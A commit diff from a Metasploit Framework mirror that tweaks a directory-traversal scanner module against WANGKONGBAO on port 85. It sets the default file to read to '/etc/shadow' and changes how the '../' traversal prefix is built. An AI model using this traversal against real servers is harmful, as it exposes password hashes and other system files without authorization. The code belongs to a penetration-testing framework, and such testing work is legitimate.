infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Instead of deleting the "/", here's a different approach

unstable
sinn3r 2012-07-06 01:23:41 -05:00
parent 7876d7fd60
commit ecb4e20c92
1 changed files with 2 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
modules/auxiliary/scanner/http/wangkongbao_traversal.rb
View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
Opt::RPORT(85), Opt::RPORT(85),
OptString.new('FILEPATH', [false, 'The name of the file to download', 'etc/shadow']), OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/shadow']),
OptInt.new('DEPTH', [true, 'Traversal depth', 10]) OptInt.new('DEPTH', [true, 'Traversal depth', 10])
], self.class) ], self.class)
end end
@ -50,6 +50,7 @@ class Metasploit3 < Msf::Auxiliary
end end
travs = "../" * datastore['DEPTH'] travs = "../" * datastore['DEPTH']
travs = travs[0,travs.rindex('/')]
# Create request # Create request
res = send_request_raw({ res = send_request_raw({